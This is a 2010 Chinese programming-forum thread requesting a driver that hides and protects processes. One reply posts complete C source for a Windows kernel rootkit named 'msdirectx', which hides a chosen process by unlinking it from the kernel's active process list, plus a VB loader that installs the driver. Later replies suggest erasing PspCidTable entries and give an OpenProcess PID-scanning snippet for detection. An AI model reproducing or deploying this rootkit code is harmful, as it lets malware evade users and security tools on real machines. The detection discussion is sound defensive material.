找回密码
 加入我们

QQ登录

只需一步,快速开始

搜索
查看: 14076|回复: 18

求助一个可以保护进程和隐藏进程的驱动

 火... [复制链接]

1214

主题

352

回帖

11

精华

管理员

菜鸟

积分
93755

贡献奖关注奖人气王精英奖乐于助人勋章

发表于 2010-1-23 11:46:31 | 显示全部楼层 |阅读模式
求助一个可以保护进程和隐藏进程的驱动程序
最好带VB的保护例子
【VB】QQ群:1422505加的请打上VB好友
【易语言】QQ群:9531809  或 177048
【FOXPRO】QQ群:6580324  或 33659603
【C/C++/VC】QQ群:3777552
【NiceBasic】QQ群:3703755

9

主题

210

回帖

0

精华

初来乍到

积分
904
发表于 2010-1-23 12:27:40 | 显示全部楼层
VB_SHELL.rar (13.46 KB, 下载次数: 9544)
你要送点水晶给我啊!
回复 1# 阿杰

点评

oopww你好,为什么你发的那个VB_SHELL.rar 里面的BYPASSIS.exe,在进行了取消保护和卸载驱动后,删除不了啊。总体是删不了  发表于 2011-3-16 15:15
谢谢分享!  发表于 2011-3-16 15:11

评分

参与人数 1水晶币 +10 收起 理由
阿杰 + 10 谢谢

查看全部评分

23

主题

117

回帖

1

精华

银牌会员

积分
400
发表于 2010-1-23 12:37:24 | 显示全部楼层
include "ntddk.h"
#include "stdio.h"
#include "stdlib.h"
typedef BOOLEAN BOOL;
typedef unsigned long DWORD;
typedef DWORD * PDWORD;

#define FILE_DEVICE_ROOTKIT      0x00002a7b

#define IOCTL_ROOTKIT_INIT            (ULONG) CTL_CODE(FILE_DEVICE_ROOTKIT, 0x01, METHOD_BUFFERED, FILE_WRITE_ACCESS)
#define IOCTL_ROOTKIT_HIDEME          (ULONG) CTL_CODE(FILE_DEVICE_ROOTKIT, 0x02, METHOD_BUFFERED, FILE_WRITE_ACCESS)
int FLINKOFFSET;   
int PIDOFFSET;
PDEVICE_OBJECT g_RootkitDevice;
const WCHAR deviceLinkBuffer[]  = L"\\DosDevices\\msdirectx";
const WCHAR deviceNameBuffer[]  = L"\\Device\\msdirectx";
#define   DebugPrint                DbgPrint   
DWORD FindProcessEPROC(int);

NTSTATUS RootkitDispatch(IN PDEVICE_OBJECT, IN PIRP);
NTSTATUS RootkitUnload(IN PDRIVER_OBJECT);
NTSTATUS RootkitDeviceControl(IN PFILE_OBJECT, IN BOOLEAN, IN PVOID,
                                                        IN ULONG, OUT PVOID, IN ULONG, IN ULONG,
                                                        OUT PIO_STATUS_BLOCK, IN PDEVICE_OBJECT
                                                        );

NTSTATUS DriverEntry(
                                   IN PDRIVER_OBJECT  DriverObject,
                                   IN PUNICODE_STRING RegistryPath
                                        )
{
        
    NTSTATUS                ntStatus;
    UNICODE_STRING          deviceNameUnicodeString;
    UNICODE_STRING          deviceLinkUnicodeString;        
    RtlInitUnicodeString (&deviceNameUnicodeString,
                          deviceNameBuffer );
    RtlInitUnicodeString (&deviceLinkUnicodeString,
                          deviceLinkBuffer );

    ntStatus = IoCreateDevice ( DriverObject,
                                0, // For driver extension
                                &deviceNameUnicodeString,
                                FILE_DEVICE_ROOTKIT,
                                0,
                                TRUE,
                                &g_RootkitDevice );

    if( NT_SUCCESS(ntStatus)) {
        ntStatus = IoCreateSymbolicLink (&deviceLinkUnicodeString,
                                         &deviceNameUnicodeString );

        DriverObject->MajorFunction[IRP_MJ_SHUTDOWN]        =
        DriverObject->MajorFunction[IRP_MJ_CREATE]          =
        DriverObject->MajorFunction[IRP_MJ_CLOSE]           =
        DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL]  = RootkitDispatch;

        DriverObject->DriverUnload                          = RootkitUnload;
    }
    else
        {
        DebugPrint(("Failed to create device!\n"));
        return ntStatus;
    }

    return STATUS_SUCCESS;
}


NTSTATUS RootkitUnload(IN PDRIVER_OBJECT DriverObject)
{
    UNICODE_STRING          deviceLinkUnicodeString;
        PDEVICE_OBJECT                        p_NextObj;

        p_NextObj = DriverObject->DeviceObject;

        if (p_NextObj != NULL)
        {
                RtlInitUnicodeString( &deviceLinkUnicodeString, deviceLinkBuffer );
                IoDeleteSymbolicLink( &deviceLinkUnicodeString );
                IoDeleteDevice( DriverObject->DeviceObject );
                return STATUS_SUCCESS;
        }
        return STATUS_SUCCESS;
}
NTSTATUS
RootkitDispatch(
    IN PDEVICE_OBJECT DeviceObject,
    IN PIRP Irp
    )
{
    PIO_STACK_LOCATION      irpStack;
    PVOID                   inputBuffer;
    PVOID                   outputBuffer;
    ULONG                   inputBufferLength;
    ULONG                   outputBufferLength;
    ULONG                   ioControlCode;
        NTSTATUS                                ntstatus;
        
    ntstatus = Irp->IoStatus.Status = STATUS_SUCCESS;
    Irp->IoStatus.Information = 0;
    irpStack = IoGetCurrentIrpStackLocation (Irp);
   
    inputBuffer             = Irp->AssociatedIrp.SystemBuffer;
    inputBufferLength       = irpStack->Parameters.DeviceIoControl.InputBufferLength;
    outputBuffer            = Irp->AssociatedIrp.SystemBuffer;
    outputBufferLength      = irpStack->Parameters.DeviceIoControl.OutputBufferLength;
    ioControlCode           = irpStack->Parameters.DeviceIoControl.IoControlCode;

    switch (irpStack->MajorFunction) {
    case IRP_MJ_CREATE:
        break;

    case IRP_MJ_SHUTDOWN:
        break;

    case IRP_MJ_CLOSE:
        break;

    case IRP_MJ_DEVICE_CONTROL:
        ntstatus = RootkitDeviceControl(        irpStack->FileObject, TRUE,
                                                                                                inputBuffer, inputBufferLength,
                                                                                                outputBuffer, outputBufferLength,
                                                                                                ioControlCode, &Irp->IoStatus, DeviceObject );
        break;
    }
    IoCompleteRequest( Irp, IO_NO_INCREMENT );
    return ntstatus;   
}


NTSTATUS
RootkitDeviceControl(
    IN PFILE_OBJECT FileObject,
    IN BOOLEAN Wait,
    IN PVOID InputBuffer,
    IN ULONG InputBufferLength,
    OUT PVOID OutputBuffer,
    IN ULONG OutputBufferLength,
    IN ULONG IoControlCode,
    OUT PIO_STATUS_BLOCK IoStatus,
    IN PDEVICE_OBJECT DeviceObject
    )
{
        NTSTATUS ntStatus;
    UNICODE_STRING          deviceLinkUnicodeString;

        int        find_PID = 0;

        DWORD eproc      = 0x00000000;
        DWORD start_eproc= 0x00000000;
        PLIST_ENTRY          plist_active_procs = NULL;

        IoStatus->Status = STATUS_SUCCESS;
    IoStatus->Information = 0;

    switch ( IoControlCode )
        {

        case IOCTL_ROOTKIT_INIT:
                if ((InputBufferLength < sizeof(int) * 8) || (InputBuffer == NULL))
                {
                        IoStatus->Status = STATUS_INVALID_BUFFER_SIZE;
                        break;
                }
                PIDOFFSET       = (int) (*(int *)InputBuffer);
                FLINKOFFSET     = (int) (*((int *)InputBuffer+1));
        
        break;

        case IOCTL_ROOTKIT_HIDEME:
                if ((InputBufferLength < sizeof(DWORD)) || (InputBuffer == NULL))
                {
                        IoStatus->Status = STATUS_INVALID_BUFFER_SIZE;
                        break;
                }

                find_PID = *((DWORD *)InputBuffer);
                if (find_PID == 0x00000000)
                {
                        IoStatus->Status = STATUS_INVALID_PARAMETER;
                        break;
                }
               
                eproc = FindProcessEPROC(find_PID);
                if (eproc == 0x00000000)
                {
                        IoStatus->Status = STATUS_INVALID_PARAMETER;
                        break;
                }
               
                plist_active_procs = (LIST_ENTRY *) (eproc+FLINKOFFSET);
                *((DWORD *)plist_active_procs->Blink) = (DWORD) plist_active_procs->Flink;
                *((DWORD *)plist_active_procs->Flink+1) = (DWORD) plist_active_procs->Blink;
        
          break;
         
        default:
                IoStatus->Status = STATUS_INVALID_DEVICE_REQUEST;
                break;
        }

    return IoStatus->Status;
}
DWORD FindProcessEPROC (int terminate_PID)
{
        DWORD eproc       = 0x00000000;
        int   current_PID = 0;
        int   start_PID   = 0;
        int   i_count     = 0;
        PLIST_ENTRY plist_active_procs;

        
        if (terminate_PID == 0)
                return terminate_PID;

        eproc = (DWORD) PsGetCurrentProcess();
        start_PID = *((DWORD*)(eproc+PIDOFFSET));
        current_PID = start_PID;

        while(1)
        {
                if(terminate_PID == current_PID)
                        return eproc;
                else if((i_count >= 1) && (start_PID == current_PID))
                {
                        return 0x00000000;
                }
                else {
                        plist_active_procs = (LIST_ENTRY *) (eproc+FLINKOFFSET);
                        eproc = (DWORD) plist_active_procs->Flink;
                        eproc = eproc - FLINKOFFSET;
                        current_PID = *((int *)(eproc+PIDOFFSET));
                        i_count++;
                }
        }
}
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
VB加载及通信代码:
Option Explicit
Private Declare Function GetCurrentProcessId Lib "kernel32" () As Long

Dim Load_Drv As New cls_Driver

Private Sub Command1_Click()
dim ret as byte
    If Text1.Text <> "" Then
        If CLng(Text1.Text) <> GetCurrentProcessId Then
            With Load_Drv
                (.CTL_CODE_GEN(&H1), VarPtr(CLng(Text1.Text)), 4, ret, Len(ret))
            End With
        End If
    End If
End Sub

Private Sub Form_Load()
Dim RetInstDrv As Boolean, RetStartDrv As Boolean, RetOpenDrv As Boolean
    With Load_Drv
        .szDrvFilePath = App.Path & "\msdirectx.sys"
        .szDrvLinkName = "msdirectx"
        .szDrvSvcName = "msdirectx"
        .szDrvDisplayName = "msdirectx"
        RetInstDrv = .InstDrv
        RetStartDrv = .StartDrv
        RetOpenDrv = .OpenDrv
    End With
    If RetInstDrv = False Or RetStartDrv = False Or RetOpenDrv = False Then
        MsgBox "驱动加载失败", 16, ""
    End If
End Sub

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
    With Load_Drv
        .DelDrv
    End With
End Sub


看代码吧。。。很明了了。。我在网上找的代码

评分

参与人数 1水晶币 +6 收起 理由
阿杰 + 6 好东西

查看全部评分

9

主题

210

回帖

0

精华

初来乍到

积分
904
发表于 2010-1-23 12:38:33 | 显示全部楼层
楼上是隐藏加保护?!

23

主题

117

回帖

1

精华

银牌会员

积分
400
发表于 2010-1-23 12:39:29 | 显示全部楼层
进程保护,差不多的方法。。。Hook 相关内核函数就是了

38

主题

199

回帖

2

精华

钻石会员

积分
3408
发表于 2010-1-23 14:24:07 | 显示全部楼层
回复 2# oopww


    记得说明是我首发的!
如果附件无法下载,请点击这里

6

主题

196

回帖

0

精华

铜牌会员

菜鸟

积分
52
发表于 2010-1-23 14:24:48 | 显示全部楼层
本帖最后由 xiaoly99 于 2010-1-23 14:27 编辑

好像可以抹PspCidTable和进程活动链

38

主题

199

回帖

2

精华

钻石会员

积分
3408
发表于 2010-1-23 14:25:04 | 显示全部楼层
如果附件无法下载,请点击这里

4

主题

28

回帖

0

精华

铜牌会员

积分
199
QQ
发表于 2010-1-23 15:21:16 | 显示全部楼层
为啥我就是上不了VBgood?
话说
  1. *((DWORD *)plist_active_procs->Flink+1) = (DWORD) plist_active_procs->Blink;
复制代码
这是用来干嘛的?明明不用也照样隐藏
上帝一样掷骰子!

1214

主题

352

回帖

11

精华

管理员

菜鸟

积分
93755

贡献奖关注奖人气王精英奖乐于助人勋章

 楼主| 发表于 2010-1-23 16:14:22 | 显示全部楼层
感谢分享
【VB】QQ群:1422505加的请打上VB好友
【易语言】QQ群:9531809  或 177048
【FOXPRO】QQ群:6580324  或 33659603
【C/C++/VC】QQ群:3777552
【NiceBasic】QQ群:3703755

9

主题

210

回帖

0

精华

初来乍到

积分
904
发表于 2010-1-26 09:48:31 | 显示全部楼层
回复 6# HoviDelphic


    下次记得的。。

0

主题

56

回帖

0

精华

铜牌会员

积分
67
发表于 2010-6-29 03:40:38 | 显示全部楼层
C++................

29

主题

134

回帖

4

精华

论坛元老

积分
5970
QQ
发表于 2010-6-30 15:39:40 | 显示全部楼层
给大家一个检测的方法,OpenProcess从PID=1到???

280

主题

203

回帖

0

精华

版主

积分
1808
发表于 2010-6-30 20:42:30 | 显示全部楼层
本帖最后由 乔丹二世 于 2010-7-2 00:32 编辑
给大家一个检测的方法,OpenProcess从PID=1到???
jiedengye 发表于 2010-6-30 15:39



这个方法很老了吧,C代码大概如此:
int i;
HANDLE hProcess;
for(i=0;i<20000;i+=4)
{
    hProcess=OpenProcess(PROCESS_QUERY_INFORMATION,0,i);
    if(hProcess>0)
    {
        printf("%d\n",i);
        CloseHandle(hProcess);
    }
}


代码染色器在这里:http://www.m5home.com/bbs/thread-3834-1-1.html
本网站最菜的人 该用户已被删除
发表于 2010-6-30 21:53:47 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽

275

主题

3017

回帖

1

精华

管理员

嗷嗷叫的老马

积分
17064

论坛牛人贡献奖关注奖最佳版主进步奖人气王疯狂作品奖精英奖赞助论坛勋章乐于助人勋章

QQ
发表于 2010-7-1 12:05:10 | 显示全部楼层
原来就算摘了链,PID实际上还是存在的呀,HOHO.
我就是嗷嗷叫的老马了......

29

主题

134

回帖

4

精华

论坛元老

积分
5970
QQ
发表于 2010-7-1 15:17:23 | 显示全部楼层
进程调度不会从链表中查找进程,EPROCESS的活动链表知识一种记录方式

280

主题

203

回帖

0

精华

版主

积分
1808
发表于 2010-7-2 00:33:27 | 显示全部楼层
回复  乔丹二世
记得CLOSEHANDLE
本网站最的人 发表于 2010-6-30 21:53



感谢“本网站最的人”提醒!

280

主题

203

回帖

0

精华

版主

积分
1808
发表于 2010-7-2 00:35:11 | 显示全部楼层
给大家一个检测的方法,OpenProcess从PID=1到???
jiedengye 发表于 2010-6-30 15:39



在用我的代码前先用RtlAdjustPrivilege获得SE_DEBUG权限。
您需要登录后才可以回帖 登录 | 加入我们

本版积分规则

快速回复 返回顶部 返回列表